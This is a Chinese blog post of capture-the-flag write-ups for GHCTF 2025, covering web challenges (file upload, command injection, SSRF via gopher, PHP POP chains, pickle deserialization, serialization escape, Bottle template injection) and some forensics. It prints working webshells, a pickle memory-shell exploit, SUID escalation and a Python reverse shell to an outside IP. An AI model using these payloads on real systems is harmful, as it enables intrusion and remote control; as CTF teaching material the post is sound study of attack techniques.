Featured image of post 2025GHCTF复现

2025GHCTF复现

GHCTF复现

UPUPUP

apache 的服务器, 很容易想到 .htaccess;但是后端检测

mine类型, 如果直接在 .htaccess 开头加⼊ GIF89A 的话访问整个 images ⽬录下的⽂件都会爆

500, 会出现语法错误。.htaccess 通过 # 来注释, 后来了解到还有 \x00

1
2
#define width 1
#define height 1

image-20250309190822862

用之前的这个没用,还得抓包用repeater传

1
2
3
<FilesMatch "hey.hey">
SetHandler application/x-httpd-php
</FilesMatch>

然后传一个hey.hey

1
<?php @eval($_POST[1]);?>

蚁剑连hey.hey

GetShell

代码审计

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
 <?php
highlight_file(__FILE__);

class ConfigLoader {
    private $config;

    public function __construct() {
        $this->config = [
            'debug' => true,
            'mode' => 'production',
            'log_level' => 'info',
            'max_input_length' => 100,
            'min_password_length' => 8,
            'allowed_actions' => ['run', 'debug', 'generate']
        ];
    }

    public function get($key) {
        return $this->config[$key] ?? null;
    }
}

class Logger {
    private $logLevel;

    public function __construct($logLevel) {
        $this->logLevel = $logLevel;
    }

    public function log($message, $level = 'info') {
        if ($level === $this->logLevel) {
            echo "[LOG] $message\n";
        }
    }
}

class UserManager {
    private $users = [];
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function addUser($username, $password) {
        if (strlen($username) < 5) {
            return "Username must be at least 5 characters";
        }

        if (strlen($password) < 8) {
            return "Password must be at least 8 characters";
        }

        $this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
        $this->logger->log("User $username added");
        return "User $username added";
    }

    public function authenticate($username, $password) {
        if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
            $this->logger->log("User $username authenticated");
            return "User $username authenticated";
        }
        return "Authentication failed";
    }
}

class StringUtils {
    public static function sanitize($input) {
        return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    }

    public static function generateRandomString($length = 10) {
        return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
    }
}

class InputValidator {
    private $maxLength;

    public function __construct($maxLength) {
        $this->maxLength = $maxLength;
    }

    public function validate($input) {
        if (strlen($input) > $this->maxLength) {
            return "Input exceeds maximum length of {$this->maxLength} characters";
        }
        return true;
    }
}

class CommandExecutor {
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function execute($input) {
        if (strpos($input, ' ') !== false) {
            $this->logger->log("Invalid input: space detected");
            die('No spaces allowed');
        }

        @exec($input, $output);
        $this->logger->log("Result: $input");
        return implode("\n", $output);
    }
}

class ActionHandler {
    private $config;
    private $logger;
    private $executor;

    public function __construct($config, $logger) {
        $this->config = $config;
        $this->logger = $logger;
        $this->executor = new CommandExecutor($logger);
    }

    public function handle($action, $input) {
        if (!in_array($action, $this->config->get('allowed_actions'))) {
            return "Invalid action";
        }

        if ($action === 'run') {
            $validator = new InputValidator($this->config->get('max_input_length'));
            $validationResult = $validator->validate($input);
            if ($validationResult !== true) {
                return $validationResult;
            }

            return $this->executor->execute($input);
        } elseif ($action === 'debug') {
            return "Debug mode enabled";
        } elseif ($action === 'generate') {
            return "Random string: " . StringUtils::generateRandomString(15);
        }

        return "Unknown action";
    }
}

if (isset($_REQUEST['action'])) {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));

    $actionHandler = new ActionHandler($config, $logger);
    $input = $_REQUEST['input'] ?? '';
    echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));
    $userManager = new UserManager($logger);

    if (isset($_POST['register'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->addUser($username, $password);
    }

    if (isset($_POST['login'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->authenticate($username, $password);
    }

    $logger->log("No action provided, running default logic");
} 

image-20250309201244128

这里有个命令执行的类

image-20250309201550565

下面这个handle函数要让action强等于run,input可以写个马

image-20250309202010427

1
2
3
?action=run&input=echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=|base64 -d>shell.php
因为前面有检测空格,用%09绕过
?action=run&input=echo%09PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=|base64%09-d>shell.php

蚁剑连接但是权限不够,看不了flag

suid提权试试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
find / -user root -perm -4000 -print 2>/dev/null
/var/www/html/wc
/bin/umount
/bin/mount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh

这里有个wc,https://gtfobins.github.io/gtfobins/wc/#suid

image-20250309203014568

跟着打

1
./wc --files0-from "/flag"

Goph3rrr

目录扫描出app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
@app.route('/Login', methods=['GET', 'POST'])
def login():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest():
            return b64e(f"Welcome back, {username}!")
        return b64e("Invalid credentials!")
    return render_template_string("""
    """)

@app.route('/Gopher')
def visit():
    url = request.args.get('url')
    if url is None:
        return "No url provided :)"
    url = urlparse(url)
    realIpAddress = socket.gethostbyname(url.hostname)
    if url.scheme == "file" or realIpAddress in BlackList:
        return "No (≧∇≦)"
    result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
    return result.stdout

@app.route('/Manage', methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":
        return "Forbidden!!!"
    if request.method == "GET":
        return "Allowed!!!"
    if request.method == "POST":
        return os.popen(request.form.get("cmd")).read()

@app.route('/app.py')
def download_source():
    return send_file(__file__, as_attachment=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

Gopher路由打ssrf,Manage路由可以cmd传参读文件,直接读环境变量env

造一个包让他的host=127.0.0.1

1
2
3
4
5
6
POST /Manage HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

cmd=env

双重url编码

image-20250310185635798

1
2
打gopher格式:gopher://ip:port/_TCP/IP数据流,这里要是8000端口,而且不能是127.0.0.1
/Gopher?url=/gopher://127.0.0.2:8000/_POST%2520%252FManage%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%25207%250A%250Acmd%253Denv

Popppppp

pop链构造

找利用点

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
class Mystery {

    public function __get($arg1) {
        array_walk($this, function ($day1, $day2) {
            $day3 = new $day2($day1);
            foreach ($day3 as $day4) {
                echo ($day4 . '<br>');
            }
        });
    }
}

这里可以输出文件,构造/*就能读根目录

__get方法用于从不可访问的属性读取数据或者不存在这个键触发,

找到Philosopher中的hey键值是不存在的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
class Philosopher {
    public $fruit10;
    public $fruit11="sr22kaDugamdwTPhG5zU";

    public function __invoke() {
        if (md5(md5($this->fruit11)) == 666) {
            return $this->fruit10->hey;
        }
    }
}

__invoke方法将对象调用为函数时触发,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
class Warlord {
    public $fruit4;
    public $fruit5;
    public $arg1;

    public function __call($arg1, $arg2) {
        $function = $this->fruit4;
        return $function();
    }

    public function __get($arg1) {
        $this->fruit5->ll2('b2');
    }
}

__call方法在对象上下文中调用不可访问的方法时触发

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
class Samurai {
    public $fruit6;
    public $fruit7;

    public function __toString() {
        $long = @$this->fruit6->add();
        return $long;
    }

    public function __set($arg1, $arg2) {
        if ($this->fruit7->tt2) {
            echo "xxx are the best!!!";
        }
    }
}

这里这个add()函数不可访问

找触发__toString

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
class CherryBlossom {
    public $fruit1;
    public $fruit2;

    public function __construct($a) {
        $this->fruit1 = $a;
    }

    function __destruct() {
        echo $this->fruit1;
    }

    public function __toString() {
        $newFunc = $this->fruit2;
        return $newFunc();
    }
}

链构造好了

1
2
3
CherryBlossom __destruct()->Samurai __toString()->Warlord __call->Philosopher __invoke()->Mystery __get()
更简单的链子
CherryBlossom __destruct()->CherryBlossom __toString()->Philosopher __invoke()->Mystery __get()

中间有个双层MD5要爆破

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

function findFruit11() {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; // 字符集
    $length = 5; // 字符串长度
    $maxAttempts = 1000000; // 最大尝试次数
    $found = false;

    for ($i = 0; $i < $maxAttempts; $i++) {
        // 生成随机字符串
        $fruit11 = '';
        for ($j = 0; $j < $length; $j++) {
            $fruit11 .= $chars[rand(0, strlen($chars) - 1)];
        }

        // 计算两次 MD5
        $hash1 = md5($fruit11);
        $hash2 = md5($hash1);

        // 检查是否以 666 开头
        if (strpos($hash2, '666') === 0) {
            echo "Found fruit11: $fruit11\n";
            echo "MD5(MD5(fruit11)): $hash2\n";
            $found = true;
            break;
        }
    }

    if (!$found) {
        echo "No valid fruit11 found after $maxAttempts attempts.\n";
    }
}

findFruit11();

?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
error_reporting(0);

class CherryBlossom {
    public $fruit1;
    function __destruct() {
        echo $this->fruit1;
    }
}
class Warlord {
    public $fruit4;
    public function __call($arg1, $arg2) {
        $function = $this->fruit4;
        return $function();
    }

}
class Samurai {
    public $fruit6;
    public function __toString() {
        $long = @$this->fruit6->add();
        return $long;
    }
}

class Mystery {
    public $GlobIterator="/*";

    public function __get($arg1) {
        array_walk($this, function ($day1, $day2) {
            $day3 = new $day2($day1);
            foreach ($day3 as $day4) {
                echo ($day4 . '<br>');
            }
        });
    }
}


class Philosopher {
    public $fruit10;
    public $fruit11="TuESw";

    public function __invoke() {
        if (md5(md5($this->fruit11)) == 666) {
            return $this->fruit10->hey;
        }
    }
}
$o=new CherryBlossom();
$o->fruit1=new Samurai();
$o->fruit1->fruit6=new Warlord();
$o->fruit1->fruit6->fruit4=new Philosopher();
$o->fruit1->fruit6->fruit4->fruit10=new Mystery();
echo urlencode(serialize($o));
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);

class CherryBlossom {
    public $fruit1;
    public $fruit2;
    function __destruct() {
        echo $this->fruit1;
    }
    public function __toString() {
        $newFunc = $this->fruit2;
        return $newFunc();
    }
}

class Mystery {
    public $GlobIterator="/*";

    public function __get($arg1) {
        array_walk($this, function ($day1, $day2) {
            $day3 = new $day2($day1);
            foreach ($day3 as $day4) {
                echo ($day4 . '<br>');
            }
        });
    }
}


class Philosopher {
    public $fruit10;
    public $fruit11="rSYwGEnSLmJWWqkEARJp";

    public function __invoke() {
        if (md5(md5($this->fruit11)) == 666) {
            return $this->fruit10->hey;
        }
    }
}
$o=new CherryBlossom();
$o->fruit1=new CherryBlossom();
$o->fruit1->fruit2=new Philosopher();
$o->fruit1->fruit2->fruit10=new Mystery();
echo urlencode(serialize($o));

关键点在于public $GlobIterator="/*";变量名一定要是这个查询了一下这个变量可以替代glob()函数来目录遍历,类似的还有DirectoryIteratorFilesystemIterator要读取文件用glob://协议

文件读取用SplFileObject,前面这些都是原生类

ezzzz_pickle

这题有非预期解,原因是docker-entrypoint.sh没删,而且存在任意文件读取,直接读就知道flag路径,然后再读flag就行

上来先弱口令爆破admin/admin123

看源码有注释

image-20250313002239999

在session的地方打pickle

非预期就是在这里

image-20250313002422057

这个value值可以改,改个/etc/passwd可以读,那么我们直接读docker-entrypoint.sh

image-20250313002521038

然后就读出来了

预期解

正常是抓包改filename值但读不到flag,提示pickle那肯定有app.py

image-20250313003124617

转义小语句

1
o = o.replace('&#34;', '"').replace('&#39;', "'")
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)


def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()
    iv = os.environ.get('SECRET_iv').encode()
    return key, iv



def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

    if mode == 'encrypt':
        encryptor = cipher.encryptor()

        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()  

    elif mode == 'decrypt':
        decryptor = cipher.decryptor()

        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()

        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()

users = {
    "admin": "admin123",
}

def create_session(username):

    session_data = {
        "username": username,
        "expires": time.time() + 3600  
    }
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')

    key,iv=generate_key_iv()
    session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')


    return session

def dowload_file(filename):
    path=os.path.join("static",filename)
    with open(path, 'rb') as f:
        data=f.read().decode('utf-8')
    return data
def validate_session(cookie):

    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
        pickled_data=base64.b64decode(pickled)


        session_data = pickle.loads(pickled_data)
        if session_data["username"] !="admin":
            return False

        return session_data if session_data["expires"] &gt; time.time() else False
    except:
        return False

@app.route("/",methods=['GET','POST'])
def index():

    if "session" in request.cookies:
        session = validate_session(request.cookies["session"])
        if session:
            data=""
            filename=request.form.get("filename")
            if(filename):
                data=dowload_file(filename)
            return render_template("index.html",name=session['username'],file_data=data)

    return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if users.get(username) == password:
            resp = make_response(redirect("/"))

            resp.set_cookie("session", create_session(username))
            return resp
        return render_template("login.html",error="Invalid username or password")

    return render_template("login.html")


@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))
    resp.delete_cookie("session")
    return resp

if __name__ == "__main__":
    app.run(host="0.0.0.0",debug=False)

上面有个aes加密,要获取key和iv,接下来就是打反序列化

通过源码可以发现其session是通过pickle 序列化字典然后base64编码再AES加密在编码的结果,验证⽤

户时session解码的过程也是base64解码AES解码base64解码pickle反序列化。那么我们只要能够获得

这个加解密的key和iv就可以伪造出session从⽽控制pickle反序列化的内容,进⾏命令执行。

⽽key和iv是从环境变量⾥读出来的。我们可以读取/proc/self/environ来得到key和iv。

进而命令执行。因为⽆回显我们可以直接打内存马,或者弹shell或者写⽂件

image-20250313004643991

1
2
SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
SECRET_iv=asdwdggiouewhgpw

打内存马exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import os
import requests
import pickle
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()
    elif mode == 'decrypt':
        decryptor = cipher.decryptor()
        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()
class A():
    def __reduce__(self):
        return (exec, ("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('shell')).read()",))
def exp(url):
    a = A()
    pickled = pickle.dumps(a)
    print(pickled)
    key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"
    iv = b"asdwdggiouewhgpw"
    pickled_data = base64.b64encode(pickled).decode('utf-8')
    payload = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
    print(payload)
    Cookie = {"session": payload}
    request = requests.post(url, cookies=Cookie)
    print(request)
if __name__ == '__main__':
    url="http://node6.anna.nssctf.cn:29184/"
    exp(url)

这里是触发404界面来getshell的

image-20250313005659409

Escape!

源码审计

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$userData = checkSignedCookie();
if ($userData) {
    #echo $userData;
    $user=unserialize($userData);
    #var_dump($user);
    if($user->isadmin){
        $tmp=file_get_contents("tmp/admin.html");

        echo $tmp;

        if($_POST['txt']) {
        	$content = '<?php exit; ?>';
		$content .= $_POST['txt'];
		file_put_contents($_POST['filename'], $content);
        }
    }
    else{
        $tmp=file_get_contents("tmp/admin.html");
        echo $tmp;
    	if($_POST['txt']||$_POST['filename']){
        echo "<h1>权限不足,写入失败<h1>";
}
    }
} else {
    echo 'token验证失败';
}

这里首先反序列化,检查isadmin是不是true,然后POST传入的txt参数前面会拼接exit,可以用base64编码前面加a绕过,之前是aa,可能这题前面已经有字符导致的,这样不会解析a以及之前的字符,filename参数可以写入,我们用伪协议来写入

1
filename=php://filter/convert.base64-decode/resource=/var/www/html/shell.php&txt=aPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=

但是这里要求admin账号用户

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {
    // 获取 Cookie 内容
    if (isset($_COOKIE[$cookieName])) {
        $token = $_COOKIE[$cookieName];

        // 解码并分割数据和签名
        $decodedToken = base64_decode($token);
        list($serializedData, $providedSignature) = explode('|', $decodedToken);

        // 重新计算签名
        $calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);

        // 比较签名是否一致
        if ($calculatedSignature === $providedSignature) {
            // 签名验证通过,返回序列化的数据
            return $serializedData;  // 反序列化数据
        } else {
            // 签名验证失败
            return false;
        }
    }
    return false;  // 如果没有 Cookie
}

由于不知道secret_key,不能伪造session来登入admin

login的逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
function setSignedCookie($serializedData, $cookieName = 'user_token', $secretKey = 'fake_secretKey') {
    $signature = hash_hmac('sha256', $serializedData, $secretKey);

    $token = base64_encode($serializedData . '|' . $signature);

    setcookie($cookieName, $token, time() + 3600, "/");  // 设置有效期为1小时
}

$User=login($SQL,$username,$password);

$User_ser=waf(serialize($User));

setSignedCookie($User_ser);

header("Location: dashboard.php");

?>

这里用到先序列化再用waf检测

1
2
3
4
5
6
7
8
9
function waf($c)
{
    $lists=["flag","'","\\","sleep","and","||","&&","select","union"];
    foreach($lists as $list){
        $c=str_replace($list,"error",$c);
    }
    #echo $c;
    return $c;
}

waf可以将字符串进行替换,长度会发生变化,能造成字符串逃逸

每个flag被换成error会多一个字符,我们伪造";s:7:"isadmin";b:1;}

前面拼接21个flag就能逃逸,传入username,然后就简单了

1
2
3
4
5
6
7
8
str2=''
str1='''";s:7:"isadmin";b:1;}'''
length=len(str1)
print(length)
for i in range(length):
    str2+='flag'
str2+=str1
print(str2)
1
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;}

注册用户登入后写入shell,蚁剑连接

Message in a Bottle

bottle框架过滤花括号

image-20250313194614283

可以用%来代替,但是%不能是第一个空白字符,所以在前面换行就行

弹shell方式

1
2

%__import__('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"111.xxx.xxx.xxx\",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'").read()

打内存马

参考:文章 - SimpleTemplate 模板引擎ssti注入和内存马学习 - 先知社区

奇安信攻防社区-探寻Bottle框架内存马

这里利用自己造的路由的方式来打内存马,我们需要获取一下app就可以打了

1
2
3
4

% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('a')).read())

Message in a Bottle plus

加了一堆waf还是黑盒,但是这次直接在%前面换行不行了,前面加引号就行了,还是打内存马

1
2
3
4
5
'''
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('a')).read())
'''

mydisk-1

第一个问题求登入密码

账号信息在/etc/passwd里面,密码哈希存在/etc/shadow里面

image-20250313202632032

1
l0v3miku:$y$j9T$Me1sc6HllhxzlxG2YpNXi0$8oums.4ZpbnCsK0a.lmkodOFeCtpC2daRGLz.jAoKI0:20113:0:99999:7:::

john+rockyou爆破

第二个问题找定时任务

查看/etc/crontab或者/var/log/cron.log 定时任务的日志中查看

image-20250314162703722

2分钟,去找这个a.py

image-20250314162836778

找到ip

第三个是邮件

这里有个foxmail导出然后爆破就行了

mymem

我们工具扫出来是Win7SP1x64

题目中提到了下载,我们用vol2命令filescan搜索Download下有哪些文件:

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计